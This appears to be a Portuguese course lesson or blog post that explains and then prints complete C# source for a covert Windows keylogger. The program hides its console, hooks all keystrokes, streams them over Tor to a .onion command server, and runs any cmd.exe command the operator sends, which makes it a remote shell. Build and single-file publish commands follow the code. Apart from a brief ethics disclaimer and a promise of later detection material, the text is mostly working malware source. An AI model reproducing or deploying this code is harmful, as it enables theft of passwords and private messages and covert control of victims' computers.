Nesta aula do curso Jaguar, exploramos profundamente a arquitetura de um keylogger profissional uma ferramenta comumente usada em ciberataques, mas também essencial no estudo de segurança ofensiva e engenharia reversa. A proposta da aula é desmistificar o funcionamento prático de um keylogger moderno, desde a captura de teclas no Windows até a comunicação com um servidor remoto oculto via rede Tor.
Um keylogger é um software capaz de interceptar e registrar todas as teclas digitadas por um usuário. Ele pode ser utilizado para capturar credenciais, mensagens, comandos e qualquer outra entrada feita pelo teclado. Essa técnica, quando aplicada de forma maliciosa, permite que invasores tenham acesso completo a informações sensíveis como senhas bancárias, logins de e-mail, dados corporativos ou mensagens pessoais.
Por ser invisível para o usuário comum e, quando bem implementado, também difícil de detectar por ferramentas de segurança, o keylogger é uma das armas favoritas em ataques de espionagem digital e fraudes avançadas.
Para entender a profundidade dessa ameaça, a aula separa a captura de teclas em três níveis distintos no sistema operacional Windows:
Userland Level |
Kernel Level |
Hardware/Firmware Level |
Userland (espaço do usuário)
Utiliza APIs públicas do sistema, como a famosa user32.dll
, para interceptar as teclas digitadas através da função SetWindowsHookEx
. É a abordagem escolhida para este módulo, por ser mais acessível e menos intrusiva, mas ainda assim altamente eficaz.
Kernel Level (nível do núcleo do sistema)
Atua com drivers em modo kernel, o que permite um controle mais profundo e invisível. Porém, exige drivers assinados digitalmente e acesso privilegiado, tornando essa abordagem mais complexa e restrita.
Hardware/Firmware Level
Nesse nível, o ataque é feito diretamente sobre o hardware ou firmware do teclado, possibilitando interceptações antes mesmo do sistema operacional. Embora extremamente difícil de detectar, é também muito mais difícil de implementar.
O keylogger desenvolvido nesta aula tem três etapas principais:
Interceptação de teclas
Utilizando a API SetWindowsHookEx
, o agente malicioso captura todas as teclas digitadas no sistema, armazenando os dados em um buffer temporário.
Armazenamento e organização
As teclas capturadas são organizadas em memória de forma estruturada, facilitando o envio e futura análise no servidor.
Envio via Tor para um servidor C2
A comunicação com o servidor de controle (C2) é feita através da rede Tor, garantindo anonimato e criptografia ponta a ponta. Esse canal oculto impede que a vítima ou um analista forense identifique facilmente a origem da ameaça.
Ao contrário de um malware comum que executa ações automaticamente, o agente apresentado é controlado por comandos remotos enviados por um operador. Ele aguarda instruções via protocolo personalizado baseado em strings. Por exemplo:
Envio do comando netcatestkeylogger
ativa a função de captura de teclas.
Envio do comando sair
desativa a funcionalidade.
Outros comandos como netcattestscan
, uploadfile
, ou screenshot
podem ser programados modularmente.
Essa estrutura permite que o agente permaneça completamente invisível até receber uma ordem o que reduz drasticamente a chance de ser detectado por comportamento anômalo. Ele não interage com o sistema nem consome recursos visivelmente até que o operador atue.
A seguir vamos dissecar, passo a passo, o código C# que implementa o agente apresentado na aula. A ideia é mostrar a função de cada bloco, boas (e más) práticas embutidas e o porquê de determinadas escolhas de arquitetura.
Logo no topo vemos using System; … System.Windows.Forms;
. Além das bibliotecas padrão, o programa depende fortemente de P/Invoke (Platform Invocation Services) para chamar funções da user32.dll
e kernel32.dll
.
Essas importações nativas habilitam quatro pilares do agente:
P/Invoke | Função no agente | Por que é crítico? |
---|---|---|
GetConsoleWindow / ShowWindow |
Ocultar a janela do console (stealth) | Evita alertar o usuário de que algo está em execução. |
SetWindowsHookEx / CallNextHookEx / UnhookWindowsHookEx |
Registrar, encadear e remover o hook de teclado em nível userland | É o mecanismo real de captura de teclas. |
GetModuleHandle |
Recuperar ponteiro de módulo para registrar o hook | Necessário para SetWindowsHookEx em processos .NET. |
GetAsyncKeyState |
Verificar Shift e CapsLock em tempo real | Permite converter virtual key codes em caracteres corretos (maiúsculas, símbolos, etc.). |
Tudo é roteado por SOCKS5 no Tor local (default 9050).
O endereço .onion
e a porta 4444
são o ponto C2 oculto.
ReconnectDelay
implementa um back-off simples de 15 s para não “martelar” o proxy caso a conexão caia.
proc
é inicializado no static constructor para manter o delegate vivo no GC.
isKeylogging
com volatile
evita problemas de sincronização entre threads.
keyBuffer
acumula digitos até que regras de flush disparem envio ao C2.
Start()
– laço principal de comunicaçãoO programa é persistente: falhou, espera, tenta de novo.
Toda exceção é engolida para evitar travamentos e logs visíveis.
Destaque para PerformSocksHandshake
: constrói o request SOCKS5 tipo 0x03 (domínio) para o hostname .onion
.
HandleCommunication
O agente lê reader.ReadLine()
em loop e reage:
Comando recebido | Ação |
---|---|
netcatestkeylogger |
Inicia keylogger em thread STA, resposta “Keylogger ativado.” |
sair |
Para captura, resposta “Keylogger desativado.” |
Qualquer outro | Interpretado como comando CMD Windows; saída é capturada e devolvida ao C2. |
Modularidade – Em vez de hard-codear inúmeras funções, o agente só carrega módulos (keylogger, scanner, screenshot) quando solicitado, minimizando IOCs e uso de CPU até o operador agir.
StartKeylogger()
Registra o hook global WH_KEYBOARD_LL
.
Liga um timer que chama FlushKeyBuffer()
a cada 5 s.
Permanece em loop Application.DoEvents()
(necessário para hooks low-level em STA) até que isKeylogging
vire false.
HookCallback()
Filtra apenas mensagens WM_KEYDOWN
.
Traduz vkCode
→ caractere (considerando Shift/Caps).
Estratégia de buffer:
Letras/números comuns → acumula em keyBuffer
.
Espaço, Enter, Tab ou teclas especiais ([
… ]
) → faz flush imediato para manter legibilidade do log.
Backspace (0x08
) remove último caractere do buffer.
Envio ao C2
c2Writer.Write()
dispara o texto já convertido.
Uso de lock (writerLock)
garante que buffer e socket não se corrompam em race conditions.
O método ConvertKeyCodeToString
cobre:
Letras A-Z – calcula maiúscula/minúscula via XOR Shift ⊕ CapsLock
Números 0-9 – mapeia símbolos ) ! @ # …
quando Shift está pressionado
NumPad – converte 0-9, * + - . /
Pontuação – faz switch extenso para ; , . - _ …
etc.
Isso garante que o log final seja legível, algo essencial em operações reais de espionagem.
A chamada inicial:
var handle = GetConsoleWindow(); ShowWindow(handle, SW_HIDE); |
esconde a janela do console logo antes de entrar no loop Start()
. Assim o processo parece apenas mais um executável sem interface rodando em segundo plano.
Aspecto | Pontos fortes | Pontos fracos / riscos |
---|---|---|
Stealth | Oculta console, somente ativa módulos sob comando | Ainda deixa pegadas em AppData\Local\Temp (DLL do .NET), Event Logs e tráfego Tor local. |
Persistência | Loop reconecta indefinidamente | Não há persistence no boot (registro, agendador). |
Segurança C2 | Tráfego cifrado + onion → difícil atribuir | Dependência do Tor local: se serviço Tor parar, agente morre. |
Desempenho | Hooks low-level leves, timer 5 s | Application.DoEvents() em thread separada pode aumentar CPU em loops longos. |
Detecção | Pouca atividade até receber comando | A assinatura do hook ainda pode ser flagrada por EDRs focados em SetWindowsHookEx . |
Esse desmonte do código mostra como poucos centenas de linhas em C# já conseguem:
Interagir nativamente com o subsistema Win32 para capturar entradas.
Manter comunicação sigilosa via Tor, inclusive reconexão resiliente.
Operar modularmente, reduzindo ruído e atrasando a detecção.
Entender esses detalhes é crucial para quem desenvolve ferramentas de defesa, cria assinaturas de EDR ou realiza análise forense. No próximo segmento da aula/blog vamos:
Demonstrar técnicas de detecção heurística desse agente.
Sugerir contramedidas (hardening no SO, políticas de Least Privilege, monitoramento de portas Tor e hooks).
Debater aspectos éticos e legais do uso de tais ferramentas em ambientes de teste versus cenários reais.
Aviso ético: todo o conteúdo tem fins exclusivamente educacionais. Utilizar esse tipo de código fora de ambientes controlados e com autorização explícita constitui crime em várias jurisdições.
https://dotnet.microsoft.com/en-us/download |
mkdir AgentTor cd AgentTor dotnet new winforms -n AgentTor cd AgentTor |
<Project Sdk="Microsoft.NET.Sdk.WindowsDesktop"> <PropertyGroup> </Project> |
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class Agent
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const string TorProxyAddress = "127.0.0.1";
private const int TorProxyPort = 9050;
private const string OnionHost = "dominio.onion";
private const int OnionPort = 4444;
private const int ReconnectDelay = 15000;
const int SW_HIDE = 0;
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static readonly LowLevelKeyboardProc proc;
private static volatile bool isKeylogging = false;
private static Thread keyloggerThread;
private static IntPtr hookID = IntPtr.Zero;
private static StreamWriter c2Writer;
private static readonly object writerLock = new object();
private static readonly StringBuilder keyBuffer = new StringBuilder();
static Agent()
{
proc = HookCallback;
}
public void Start()
{
while (true)
{
try
{
using (var client = new TcpClient())
{
client.Connect(TorProxyAddress, TorProxyPort);
using (var stream = client.GetStream())
{
PerformSocksHandshake(stream);
HandleCommunication(stream);
}
}
}
catch { }
Thread.Sleep(ReconnectDelay);
}
}
private void PerformSocksHandshake(NetworkStream stream)
{
stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
var authResponse = new byte[2];
stream.Read(authResponse, 0, authResponse.Length);
if (authResponse[1] != 0x00) throw new Exception("SOCKS auth failed");
var hostBytes = Encoding.ASCII.GetBytes(OnionHost);
byte[] request = new byte[7 + hostBytes.Length];
request[0] = 0x05;
request[1] = 0x01;
request[2] = 0x00;
request[3] = 0x03;
request[4] = (byte)hostBytes.Length;
Buffer.BlockCopy(hostBytes, 0, request, 5, hostBytes.Length);
request[request.Length - 2] = (byte)(OnionPort >> 8);
request[request.Length - 1] = (byte)(OnionPort & 0xFF);
stream.Write(request, 0, request.Length);
var connectResponse = new byte[10];
stream.Read(connectResponse, 0, connectResponse.Length);
if (connectResponse[1] != 0x00) throw new Exception("SOCKS connection failed");
}
private void HandleCommunication(NetworkStream stream)
{
try
{
using (var reader = new StreamReader(stream))
using (var writer = new StreamWriter(stream) { AutoFlush = true })
{
c2Writer = writer;
while (true)
{
var command = reader.ReadLine();
if (string.IsNullOrEmpty(command)) break;
if (command.Trim().Equals("netcattestkeylogger", StringComparison.OrdinalIgnoreCase) && !isKeylogging)
{
isKeylogging = true;
keyloggerThread = new Thread(StartKeylogger) { IsBackground = true };
keyloggerThread.SetApartmentState(ApartmentState.STA);
keyloggerThread.Start();
writer.WriteLine("Keylogger ativado.");
}
else if (command.Trim().Equals("sair", StringComparison.OrdinalIgnoreCase) && isKeylogging)
{
isKeylogging = false;
writer.WriteLine("\nKeylogger desativado.");
writer.Write("C2> ");
}
else if (!isKeylogging)
{
string commandOutput = "";
try
{
var processStartInfo = new ProcessStartInfo("cmd.exe", "/c " + command)
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var process = Process.Start(processStartInfo))
{
commandOutput = process.StandardOutput.ReadToEnd();
commandOutput += process.StandardError.ReadToEnd();
process.WaitForExit(10000);
}
}
catch (Exception e)
{
commandOutput = "Erro ao executar o comando: " + e.Message;
}
writer.WriteLine(commandOutput.Trim() + "\nC2> ");
}
}
}
}
finally
{
if (isKeylogging)
{
isKeylogging = false;
}
c2Writer = null;
}
}
private static void StartKeylogger()
{
using (var bufferFlushTimer = new System.Threading.Timer(_ => FlushKeyBuffer(), null, 5000, 5000))
{
hookID = SetHook(proc);
while (isKeylogging)
{
Application.DoEvents();
Thread.Sleep(20);
}
UnhookWindowsHookEx(hookID);
FlushKeyBuffer();
}
}
private static void FlushKeyBuffer()
{
lock (writerLock)
{
if (keyBuffer.Length > 0 && c2Writer != null)
{
try
{
c2Writer.Write(keyBuffer.ToString());
keyBuffer.Clear();
}
catch { }
}
}
}
private static void TryWriteToC2(string text)
{
if (c2Writer != null)
{
try
{
c2Writer.Write(text);
}
catch { }
}
}
private static IntPtr SetHook(LowLevelKeyboardProc hookProc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(curModule.ModuleName), 0);
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && isKeylogging)
{
int vkCode = Marshal.ReadInt32(lParam);
lock (writerLock)
{
if (vkCode == 0x08)
{
if (keyBuffer.Length > 0)
{
keyBuffer.Remove(keyBuffer.Length - 1, 1);
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
string keyString = ConvertKeyCodeToString(vkCode);
if (vkCode == 0x20 || vkCode == 0x0D || vkCode == 0x09)
{
FlushKeyBuffer();
TryWriteToC2(keyString);
}
else if (keyString.StartsWith("["))
{
FlushKeyBuffer();
TryWriteToC2(keyString);
}
else if (!string.IsNullOrEmpty(keyString))
{
keyBuffer.Append(keyString);
}
}
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
private static string ConvertKeyCodeToString(int vkCode)
{
bool isShiftPressed = (GetAsyncKeyState(0x10) & 0x8000) != 0;
bool isCapsLocked = (GetAsyncKeyState(0x14) & 1) != 0;
bool isUpperCase = isShiftPressed ^ isCapsLocked;
if (vkCode >= 0x41 && vkCode <= 0x5A)
{
return isUpperCase ? ((char)vkCode).ToString() : ((char)(vkCode + 32)).ToString();
}
if (vkCode >= 0x30 && vkCode <= 0x39)
{
if (isShiftPressed)
{
switch (vkCode)
{
case 0x30: return ")";
case 0x31: return "!";
case 0x32: return "@";
case 0x33: return "#";
case 0x34: return "$";
case 0x35: return "%";
case 0x36: return "¨";
case 0x37: return "&";
case 0x38: return "*";
case 0x39: return "(";
}
}
return ((char)vkCode).ToString();
}
switch (vkCode)
{
case 0x08: return "[BACKSPACE]";
case 0x09: return "[TAB]";
case 0x0D: return "[ENTER]\n";
case 0x14: return "[CAPSLOCK]";
case 0x1B: return "[ESC]";
case 0x20: return " ";
case 0x25: return "[LEFT]";
case 0x26: return "[UP]";
case 0x27: return "[RIGHT]";
case 0x28: return "[DOWN]";
case 0x2E: return "[DELETE]";
case 0xBA: return isShiftPressed ? ":" : ";";
case 0xBB: return isShiftPressed ? "+" : "=";
case 0xBC: return isShiftPressed ? "<" : ",";
case 0xBD: return isShiftPressed ? "_" : "-";
case 0xBE: return isShiftPressed ? ">" : ".";
case 0xBF: return isShiftPressed ? "?" : ";";
case 0xC0: return isShiftPressed ? "~" : "`";
case 0xDB: return isShiftPressed ? "{" : "[";
case 0xDC: return isShiftPressed ? "|" : "\\";
case 0xDD: return isShiftPressed ? "}" : "]";
case 0xDE: return isShiftPressed ? "\"" : "'";
case 0x60: return "0";
case 0x61: return "1";
case 0x62: return "2";
case 0x63: return "3";
case 0x64: return "4";
case 0x65: return "5";
case 0x66: return "6";
case 0x67: return "7";
case 0x68: return "8";
case 0x69: return "9";
case 0x6A: return "*";
case 0x6B: return "+";
case 0x6D: return "-";
case 0x6E: return ".";
case 0x6F: return "/";
default: return "";
}
}
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
public static void Main(string[] args)
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Agent agent = new Agent();
agent.Start();
}
}
|
dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true |